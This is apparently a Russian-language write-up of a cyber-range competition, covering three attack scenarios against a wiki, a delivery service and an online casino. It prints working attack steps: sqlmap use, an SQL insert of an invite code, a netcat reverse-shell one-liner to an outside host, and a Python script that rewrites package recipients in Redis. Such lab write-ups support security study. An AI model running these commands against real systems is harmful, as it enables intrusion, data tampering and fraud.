October 15

II. Разбор недопустимых событий с отборочных на Международные игры

@fefuctf @collapsz


Вступление

Всем привет!

Подвезли вам вторую часть разбора рисков с сегмента Standalone — самое лакомое, сложное и интересное. Сегодня без долгих вступлений =)


1. Кража новой технологии для генерации электроэнергии

В первой части разбора мы провели первичную разведку и получили информацию о списке хостов в сети, среди них был хост corp-wiki.standalone.stf – наша сегодняшняя жертва.

Недопустимое событие

По результатам сканирования на данном хосте были обнаружены порты 80, 8082, и 3306 – MySQL, запомним это и отправимся изучать веб.

Встречает нас лендинг корпоративной вики:

corp-wiki

В статьях ничего особо полезного нет, за исключением имени пользователя – emivil

User

Так же на ресурсе доступна функция логина и регистрации, однако для регистрации пользователя необходим код приглашения, которого у нас нет. Однако нам удалось сбрутить пароль пользователя emiwil:

Password bruteforce

Попадаем в систему под пользователем emivil и начинаем внимательно изучать список доступных нам статей, среди которых находим следующее:

post 1

Итак, есть некий пользователь roblee с паролем ;;48~Various~Boat~Cold~97;;

Пользователь жалуется, что не может получить доступ ни к какому ресурсу, кроме вики и базы данных. Вспоминаем про порт 3306 и мчим туда:

mysql -h 10.124.249.9 -P 3306 -u roblee -p

Получаем доступ к базе данных и видим список таблиц:

mysql

Вставим сюда свой пригласительный код:

INSERT INTO wiki.codes (code) VALUE ('collapsz_g0dl1ke_c0d3');

И регистрируем нового пользователя, указывая вставленный в базу код:

Register

В профиле находим функции смены ника, слогана и аватарки:

Profile

Через смену аватарки реализуем ssrf:

ssrf
ssrf

Сдаем SSRF-флаг, но недопустимое событие мы все еще не реализовали. Среди статей была парочка, где автором был указан admin – его учетку мы и хотим получить. Вернемся к статьям, доступным emivil и обнаружим там это:

post 2

Некий баг на неком http://searchserver:8000/api/data

Снова возвращаемся к смене аватарки. Отправив запрос на ресурс выше видим выхлоп:

searchserver

Немного поигравшись с URL запроса получаем знакомую ошибку:

500

sqlmap моментально убивал тачку, поэтому эту скулю пришлось крутить ручками:

pass

Авторизуемся с найденным паролем и среди статей админа находим ту самую с секретной формулой, что и требовалось в риске:

secret formula

2. Нарушение работы службы доставки (подмена адреса и данных получателя)

Это. Было. Долго. Кто понял, тот понял =) Помчали поползли. В данном риске было необходимо подменить адреса и данные получателя посылки

Риск

На 80 порту хоста нас встречает веб-сайт, позволяющий регистрироваться, логиниться, и создавать новые посылки.

fastship

Базовые проверки на уязвимости успеха не принесли, все работало как надо

profile

Немного поковырявшись, мы смогли вызвать 500 ошибку на странице логина:

500

Далее дело техники – сохраняем запрос и скармливаем его в sqlmap:

sqlmap -r fastship.req --level 3 --flush-session --batch

sqlmap определил СУБД posgresql:

PostgreSQL

SQL-инъекция оказалась time-based, поэтому, несмотря на --threads 10, ждать пришлось очень, очень долго. И самое веселое – ничего полезного мы так и не сдампили. Зато спустя n часов смогли получить shell. Через time-based в PostgreSQL, да...было долго.

os-shell

Далее при помощи netcat нагрузки получили стабильный реверс-шелл и закрепились в системе с использованием meterpreter и sliver:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f

В ходе перечисления ресурсов системы мы нашли креды админа базы данных PostgreSQL, однако замена всех необходимых ячеек не привела к реализации НС – пришлось копать глубже.

При помощи скрипта subf.sh (скрипт для брутфорса паролей учетных записей *nix) мы сбрутили пароль пользователя fastship и пароль пользователя root:

bruteforce

После чего получили доступ к сурс-файлам веб-сайта и поняли, что в качестве базы данных используется не PosgreSQL, а Redis:

Redis

Спустя некоторое время мы написали скрипт, заменяющий все нужные нам ключи (их там было очень, очень много) на нужные нам значения:

import redis
import time
from concurrent.futures import ThreadPoolExecutor

def update_recipient(key):
    try:
        package = r.hgetall(key)
        updates = []
        
        if (b'recipient' in package and package[b'recipient'] != b'stf_xakep'):
            updates.append(('recipient', 'stf_xakep'))
        
        if (b'recipient_address' in package and package[b'recipient_address'] != b'stf_recipient'):
            updates.append(('recipient_address', 'stf_recipient'))

        if updates:
            for field, value in updates:
                r.hset(key, field, value)
            return key.decode('utf-8')
        else:
            return None 

    except redis.RedisError as e:
        print(f"Ошибка при обновлении {key.decode('utf-8')}: {e}")
        return None

try:
    r = redis.StrictRedis(host='127.0.0.1', port=6379, password='material-deny-infect-dully-praline-froufrou')
    r.ping()
except redis.ConnectionError as e:
    print(f"Ошибка подключения к Redis: {e}")
    exit(1)

start_time = time.time()

keys = []
cursor = 0
try:
    while True:
        cursor, batch_keys = r.scan(cursor, match='*', count=1000)
        keys.extend(batch_keys)
        print(f"Получено {len(batch_keys)} ключей")
        if cursor == 0:
            break
except redis.RedisError as e:
    print(f"Ошибка при получении ключей: {e}")
    exit(1)

updated_keys = []
with ThreadPoolExecutor(max_workers=10) as executor: 
    results = list(executor.map(update_recipient, keys))
    updated_keys = [key for key in results if key is not None]  


new_keys = []
cursor = 0
try:
    while True:
        cursor, batch_keys = r.scan(cursor, match='*', count=1000)
        new_keys.extend(batch_keys)
        if cursor == 0:
            break
except redis.RedisError as e:
    print(f"Ошибка при проверке новых ключей: {e}")
    exit(1)


new_key_count = len(new_keys)
end_time = time.time()

print(f"Обновление завершено за {end_time - start_time:.2f} секунд.")
print(f"Количество обновленных ключей: {len(updated_keys)}")
print(f"Количество новых ключей: {new_key_count}")

В результате работы скрипта все значения recipient и recipient_address были заменены на нужные нам значения. Недопустимое событие было реализовано.

Риск

3. Компрометация алгоритмов работы онлайн-казино

Самое лакомое на сегодня – казино. Название риска говорит само за себя – нужно любыми способами обмануть эту ракетку и выиграть у дилера.

Риск

На самом сайте ничего особо интересного нет:

Casino

Однако попытка просмотреть карты в новой вкладке открыла для нас интересный URL-запрос:

card

И мы не прогадали:

LFI

Сдаем LFI-флаг и идем дальше, однако что нам может дать LFI в риске, где нужно скомпрометировать алгоритм работы казино?

Все запросы летят в json, где-то же этот json должен обрабатываться, так?

Запрос

При помощи Burp Intruder мы проверили /proc/FUZZ/cmdline, откуда получили информацию о запущенном /opt/casino/server

По заголовку становится ясно, что это какой-то бинарь

/opt/casino/server

Качаем его себе и ужасаемся:

DIE

Прежде чем реверсить бинарь я предпринял отчаянную попытку выиграть в 21 в честную. Да, было. Да, отчаянно.

Спустя 3 часа игры через разные стратегии я выявил закономерность:

иногда, после того, как в игре побывает примерно 400-420 карт, дилер ошибается и набирает более, чем 21 очко, что приводит к его проигрышу. И происходит это стабильно в районе ~400 карт.

Таким образом в голове зародилась мысль о том, какая уязвимость логики может быть в данном риске: в момент начала игры дилер инициализирует колоду карт если карты в ней вдруг заканчиваются, алгоритм отрабатывает неправильно и дилер набирает более, чем 21 очко.

Наличие такого вектора в голове сильно упростило дальнейший реверс. Что нам дал бинарь:

  • При запуске он стартует HTTP-сервер и слушает входящие соединения самого на порту 3410 (API самого казино), общение с которым происходит посредством отправки данных в формате JSON
server
  • При поступлении запроса на начало новой игры, создается сессия и ей присваивает определенный uuid
  • После этого инициализируются колода карт из трех наборов
    • Набор номер 1: ThreeSevenEightQueenClubsFourFiveNineJackKingFiveNineJackKingSixSixAce
    • Набор номер 2: SevenEightQueenClubsEightQueenClubsNineJackKingTenTenAce
    • Набор номер 3:
      JackKingQueenClubsKingAceTwoTwoAce
IDA
  • После того как колода карт заканчивается, дилер начинает брать карты из нее заново, начиная с первого набора

Далее опытным путем (на этот раз при помощи автоматизации на Python) было найдено точное количество карт, после которого дилер обращается к первому набору из колоды – 416.

Я уверен, что это можно найти и в самом бинаре, но реверс GoLang есть реверс GoLang и чем его меньше, тем лучше =)

В результате полученной информации и выявленной уязвимости была выработана стратегия: маленькими ставками опустошить колоду, довести ее до уязвимого состояния и следом сделать большую ставку с расчетом на ошибку в алгоритме.

Код будет работать рекурсивно, в случае неудачи будет начинать новую игру и так вплоть до победного.

Recurse

Эксплоит:

Exploit

Спустя несколько итераций код выведет game_id выигранной сессии, что сигнализирует нам о успешно реализованном недопустимом событии.

exploit

Отправив запрос с нашим gid по адресу {BASE_URL}/games/{gid}/flag, проходим проверки и получаем флаг для реализации недопустимого события:

flag

После чего сдаем эту красоту:

Submit

Заключение

Собственно, на этом и заканчивается наше приключение в сегменте Standalone. Было круто, было сложно, было интересно.

С нетерпением ждем финалы! Всем меньше реверса голенга и удачи, спасибо за внимание =)